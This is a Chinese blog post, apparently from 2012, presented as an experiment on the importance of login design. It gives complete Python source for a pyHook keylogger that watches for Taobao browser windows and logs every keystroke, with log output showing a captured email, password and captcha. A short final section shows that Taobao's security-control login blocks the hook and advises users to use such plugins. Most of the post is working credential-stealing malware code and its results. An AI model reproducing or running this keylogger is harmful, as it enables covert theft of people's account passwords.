在昨天的文章[《Python:監控鍵盤輸入、鼠標操作,并將捕獲到的信息記錄到文件中》](http://blog.csdn.net/dyx1024/article/details/7311013)中,我們實現了將用戶輸入記錄到文件的功能,今天看看這一功能的實際應用。
### 一、實現思路:
1、判斷當前用戶操作的窗口,如果窗口是淘寶網的頁面,則開始監控。
2、將用戶在淘寶上的所有輸入全部記錄下來,通常這些記錄中會包括用戶登陸時的用戶名、密碼,電話、郵箱等敏感信息。
### 二、代碼實現:
~~~
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pythoncom
import pyHook
import time
import logging
import logging.config
#日志配置文件名
LOG_FILENAME = 'hook_logging.conf'
#日志語句提示信息
LOG_CONTENT_NAME = 'taobao_input_msg'
def log_init(log_config_filename, logname):
'''
Function:日志模塊初始化函數
Input:log_config_filename:日志配置文件名
lognmae:每條日志前的提示語句
Output: logger
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-02-13
'''
logging.config.fileConfig(log_config_filename)
logger = logging.getLogger(logname)
return logger
def onMouseEvent(event):
'''
Function:處理鼠標左鍵單擊事件,如果當前MSG中存放了信息,
將其寫入文件,因為有的用戶在輸入 完用戶名后,不是使用TAB鍵切換到密碼
框,而是通過鼠標切換到密碼輸入窗口這種情況應該屬于大多數網民的習慣,
所以此處要判斷是否通過鼠標切換了輸入窗口
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
global MSG
if len(MSG) != 0:
? ? ? hook_logger.info('current page:%s' % event.WindowName)
? ? ? hook_logger.error('information:%s' % MSG)
MSG = ''
return True
def onKeyboardEvent(event):
"處理鍵盤事件"
'''
Function:處理鍵盤事件,如果當前窗口為TAOBAO頁面,剛開始監控并記錄用戶輸入
因為此時用戶可能準備輸入用戶名及密碼進行登陸,所以將用戶輸入的所有可見
的ascii字符記錄下來,此處要考慮用戶是否使用了TAB鍵或回車鍵來
結束輸入,此時要將信息記錄到日志中。
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
global MSG
if event.WindowName.decode('GBK').find(u"淘寶") != -1:
if (127 >= event.Ascii > 31) or (event.Ascii == 8):
MSG += chr(event.Ascii)
hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))
if (event.Ascii == 9) or (event.Ascii == 13):
? ? ? ? ? hook_logger.info('current page:%s' % event.WindowName)
? ? ? ? ? hook_logger.error('information:%s' % MSG)
MSG = ''
return True
if __name__ == "__main__":
'''
Function:獲取TAOBAO賬號及密碼
Input:NONE
Output: NONE
author: socrates
blog:http://blog.csdn.net/dyx1024
date:2012-03-03
'''
#打開日志文件
#初始化日志系統
hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME)
MSG = ''
#創建hook句柄
hm = pyHook.HookManager()
#監控鼠標
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
#監控鍵盤
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循環獲取消息
pythoncom.PumpMessages()
~~~
### 三、測試
步驟:
?1、打開taobao頁面,輸入用戶名及密碼,并登陸,窗口截圖如下:
?
2、看看后臺日志文件taobao_log.log中的內容:
~~~
[2012-03-03 09:03:20,812 ?taobao_input_msg]INFO: ?ascii:115(S)
[2012-03-03 09:03:21,155 ?taobao_input_msg]INFO: ?ascii:111(O)
[2012-03-03 09:03:22,453 ?taobao_input_msg]INFO: ?ascii:99(C)
[2012-03-03 09:03:23,046 ?taobao_input_msg]INFO: ?ascii:114(R)
[2012-03-03 09:03:23,280 ?taobao_input_msg]INFO: ?ascii:97(A)
[2012-03-03 09:03:23,608 ?taobao_input_msg]INFO: ?ascii:116(T)
[2012-03-03 09:03:23,890 ?taobao_input_msg]INFO: ?ascii:101(E)
[2012-03-03 09:03:24,828 ?taobao_input_msg]INFO: ?ascii:115(S)
[2012-03-03 09:03:25,875 ?taobao_input_msg]INFO: ?ascii:64(2)
[2012-03-03 09:03:26,921 ?taobao_input_msg]INFO: ?ascii:103(G)
[2012-03-03 09:03:27,312 ?taobao_input_msg]INFO: ?ascii:109(M)
[2012-03-03 09:03:27,515 ?taobao_input_msg]INFO: ?ascii:97(A)
[2012-03-03 09:03:27,733 ?taobao_input_msg]INFO: ?ascii:105(I)
[2012-03-03 09:03:27,953 ?taobao_input_msg]INFO: ?ascii:108(L)
[2012-03-03 09:03:29,000 ?taobao_input_msg]INFO: ?ascii:46(Oem_Period)
[2012-03-03 09:03:29,280 ?taobao_input_msg]INFO: ?ascii:99(C)
[2012-03-03 09:03:29,358 ?taobao_input_msg]INFO: ?ascii:111(O)
[2012-03-03 09:03:29,953 ?taobao_input_msg]INFO: ?ascii:109(M)
[2012-03-03 09:03:30,390 ?taobao_input_msg]INFO: ?current page:淘寶網 - 淘我喜歡! - Google Chrome
[2012-03-03 09:03:30,390 ?taobao_input_msg]ERROR: ?information:socrates@gmail.com
[2012-03-03 09:03:33,140 ?taobao_input_msg]INFO: ?ascii:109(M)
[2012-03-03 09:03:33,467 ?taobao_input_msg]INFO: ?ascii:121(Y)
[2012-03-03 09:03:34,358 ?taobao_input_msg]INFO: ?ascii:95(Oem_Minus)
[2012-03-03 09:03:35,030 ?taobao_input_msg]INFO: ?ascii:112(P)
[2012-03-03 09:03:35,328 ?taobao_input_msg]INFO: ?ascii:97(A)
[2012-03-03 09:03:35,703 ?taobao_input_msg]INFO: ?ascii:115(S)
[2012-03-03 09:03:35,875 ?taobao_input_msg]INFO: ?ascii:115(S)
[2012-03-03 09:03:36,280 ?taobao_input_msg]INFO: ?ascii:119(W)
[2012-03-03 09:03:36,733 ?taobao_input_msg]INFO: ?ascii:111(O)
[2012-03-03 09:03:37,030 ?taobao_input_msg]INFO: ?ascii:114(R)
[2012-03-03 09:03:37,421 ?taobao_input_msg]INFO: ?ascii:100(D)
[2012-03-03 09:03:38,937 ?taobao_input_msg]INFO: ?ascii:64(2)
[2012-03-03 09:03:40,015 ?taobao_input_msg]INFO: ?ascii:116(T)
[2012-03-03 09:03:40,280 ?taobao_input_msg]INFO: ?ascii:97(A)
[2012-03-03 09:03:40,500 ?taobao_input_msg]INFO: ?ascii:111(O)
[2012-03-03 09:03:41,030 ?taobao_input_msg]INFO: ?ascii:98(B)
[2012-03-03 09:03:41,265 ?taobao_input_msg]INFO: ?ascii:97(A)
[2012-03-03 09:03:41,421 ?taobao_input_msg]INFO: ?ascii:111(O)
[2012-03-03 09:03:43,405 ?taobao_input_msg]INFO: ?current page:None
[2012-03-03 09:03:43,405 ?taobao_input_msg]ERROR: ?information:my_password@taobao
[2012-03-03 09:03:45,765 ?taobao_input_msg]INFO: ?ascii:83(S)
[2012-03-03 09:03:46,140 ?taobao_input_msg]INFO: ?ascii:75(K)
[2012-03-03 09:03:47,000 ?taobao_input_msg]INFO: ?ascii:55(7)
[2012-03-03 09:03:48,030 ?taobao_input_msg]INFO: ?ascii:87(W)
[2012-03-03 09:03:52,233 ?taobao_input_msg]INFO: ?current page:None
[2012-03-03 09:03:52,233 ?taobao_input_msg]ERROR: ?information:SK7W
~~~
上面的日志中,我將用戶每次的按鍵用info級別保存下來,當用戶輸入完成后,將合并后的串以ERROR級別打印出來,如果你不需要輸入info級別,只需要修改日志配置文件設置打印級別高于info即可,記錄日志這塊的內容可見文章[《Python:日志模塊logging的應用》](http://blog.csdn.net/dyx1024/article/details/7250828)。之所以打印是為和合并后的串進行校驗,并且如果用戶輸入過程中出現錯誤,使用退格鍵刪除,可以通過ascii碼識別出,從日志中可以看到,有三個關鍵性信息:
[2012-03-03 09:03:30,390 ?taobao_input_msg]ERROR: ?information:socrates@gmail.com
[2012-03-03 09:03:43,405 ?taobao_input_msg]ERROR: ?information:my_password@taobao
[2012-03-03 09:03:52,233 ?taobao_input_msg]ERROR: ?information:SK7W
以上三條ERROR日志分別對應了我輸入的用戶名、密碼(僅僅是個測試)、驗證碼。
四、我們應該怎么做?
從上面的實驗可以看出,如果有人在我們電腦中植入了這樣一個小程序,有可能會獲取到一些敏感數據,應該如何避免呢,淘寶其實已經想好了,就是在登錄時,只需要將“安全控件登陸”這個選項勾上,這樣鍵盤的輸入將不會被hook住。再次測試如下:
1、輸入不變,只是勾選“安全控件登陸”,如圖:

看看這次的日志信息:
~~~
[2012-03-03 09:12:11,562 taobao_input_msg]INFO: ascii:115(S)
[2012-03-03 09:12:12,187 taobao_input_msg]INFO: ascii:111(O)
[2012-03-03 09:12:12,733 taobao_input_msg]INFO: ascii:99(C)
[2012-03-03 09:12:13,217 taobao_input_msg]INFO: ascii:114(R)
[2012-03-03 09:12:13,530 taobao_input_msg]INFO: ascii:97(A)
[2012-03-03 09:12:13,890 taobao_input_msg]INFO: ascii:116(T)
[2012-03-03 09:12:14,125 taobao_input_msg]INFO: ascii:101(E)
[2012-03-03 09:12:14,390 taobao_input_msg]INFO: ascii:115(S)
[2012-03-03 09:12:15,655 taobao_input_msg]INFO: ascii:64(2)
[2012-03-03 09:12:16,375 taobao_input_msg]INFO: ascii:103(G)
[2012-03-03 09:12:16,717 taobao_input_msg]INFO: ascii:109(M)
[2012-03-03 09:12:16,796 taobao_input_msg]INFO: ascii:97(A)
[2012-03-03 09:12:16,953 taobao_input_msg]INFO: ascii:105(I)
[2012-03-03 09:12:17,155 taobao_input_msg]INFO: ascii:108(L)
[2012-03-03 09:12:17,750 taobao_input_msg]INFO: ascii:46(Oem_Period)
[2012-03-03 09:12:17,967 taobao_input_msg]INFO: ascii:99(C)
[2012-03-03 09:12:18,078 taobao_input_msg]INFO: ascii:111(O)
[2012-03-03 09:12:18,233 taobao_input_msg]INFO: ascii:109(M)
[2012-03-03 09:12:18,671 taobao_input_msg]INFO: current page:淘寶網 - 淘我喜歡! - Windows Internet Explorer
[2012-03-03 09:12:18,671 taobao_input_msg]ERROR: information:socrates@gmail.com
[2012-03-03 09:12:30,530 taobao_input_msg]INFO: ascii:101(E)
[2012-03-03 09:12:32,546 taobao_input_msg]INFO: ascii:54(6)
[2012-03-03 09:12:33,717 taobao_input_msg]INFO: ascii:104(H)
[2012-03-03 09:12:34,592 taobao_input_msg]INFO: ascii:56(8)
[2012-03-03 09:12:40,828 taobao_input_msg]INFO: current page:None
[2012-03-03 09:12:40,828 taobao_input_msg]ERROR: information:e6h8
~~~
可以看出,在密碼框中輸入的內容沒有被記錄下來。
### 五、總結
從上面的實驗可以看出,登錄方式設計的重要性,如果對安全性考慮不足,這塊很容易被利用。對于用戶來說,在我們登錄一些涉及個人敏感數據的網站時,最好安裝上網站提供的安全插件,再者,在輸入時采用軟鍵盤等均可以避免輸入被監控。
- 前言
- Python:實現文件歸檔
- Pyhon:按行輸出文件內容
- Python:讀文件和寫文件
- Python:實現一個小算法
- Python:通過命令行發送新浪微博
- Python:通過攝像頭實現的監控功能
- Python:通過攝像頭抓取圖像并自動上傳至新浪微博
- Python:簡單的攝像頭程序實現
- Python:日志模塊logging的應用
- Python:操作嵌入式數據庫SQLite
- Python:將句子中的單詞全部倒排過來,但單詞的字母順序不變
- Python:語音處理,實現在線朗讀RFC文檔或本地文本文件
- Python:通過計算階乘來學習lambda和reduce這兩個函數的使用
- Python:通過執行100萬次打印來比較C和python的性能,以及用C和python結合來解決性能問題的方法
- Python:使用matplotlib繪制圖表
- Python:使用pycha快速繪制辦公常用圖(餅圖、垂直直方圖、水平直方圖、散點圖等七種圖形)
- Python:使用pycha快速繪制辦公常用圖二(使用樣式定制個性化圖表)
- Python:監控鍵盤輸入、鼠標操作,并將捕獲到的信息記錄到文件中
- Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性
- Python:通過獲取淘寶賬號和密碼的實驗,來看登陸方式選擇的重要性(二)
- Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(一)
- Python:通過遠程監控用戶輸入來獲取淘寶賬號和密碼的實驗(二)
- Python:通過自定義系統級快捷鍵來控制程序運行
- Python:通過自定義系統級快捷鍵來控制程序開始或停止記錄日志(使用小技巧解決一個貌似無解的問題)
- Python:一個多功能的抓圖工具開發(附源碼)
- Python:程序發布方式簡介一(打包為可執行文件EXE)
- Python:新浪微博應用開發簡介(認證及授權部分)
- Python:程序最小化到托盤功能實現
- Python:實用抓圖工具開發介紹(含需求分析、設計、編碼、單元測試、打包、系統測試、發布各環節)
- Python:桌面氣泡提示功能實現
- Python:未來三個月的python學習計劃
- Python:pygame模塊及SDL庫簡介
- Python:獲取新浪微博用戶的收聽列表和粉絲列表
- Python:pygame游戲編程之旅一(Hello World)
- Python:pygame游戲編程之旅二(自由移動的小球)
- Python:pygame游戲編程之旅三(玩家控制的小球)
- Python:pygame游戲編程之旅四(游戲界面文字處理)
- Python:pygame游戲編程之旅五(游戲界面文字處理詳解)
- Python:pygame游戲編程之旅六(游戲中的聲音處理)
- Python:pygame游戲編程之旅七(pygame基礎知識講解1)
- Python:編程“八榮八恥”之我見
- Python:腳本的幾種執行方式
- wxPython:簡單的wxPython程序
- wxPython:簡單的wxPython程序的另一種寫法
- wxPython:應用程序對象介紹
- wxPython:輸出重定向
- wxPython:關閉wxPython程序
- wxPython:Frame類介紹
- wxPython:面板Panel的使用
- wxPython:工具欄、狀態欄、菜單實現
- wxPython:消息對話框MessageDialog
- wxPython:文本對話框TextEntryDialog
- wxPython:列表選擇框SingleChoiceDialog
- wxPython:事件處理介紹一
- wxPython:事件處理介紹二
- wxPython: 簡單的繪圖例子
- wxPython:狀態欄介紹
- wxPython:菜單介紹
- wxPython:文件對話框wx.FileDialog
- wxPython:顏色選擇對話框wx.ColourDialog
- wxPython:布局管理器sizer介紹
- wxPython:啟動畫面SplashScreen介紹
- wxPython:繪畫按鈕BitmapButton介紹
- wxPython:進度條Gauge介紹
- Python: 發送新浪微博(使用oauth2)
- Python:讀取新浪微博收聽列表
- Python:DNS客戶端實現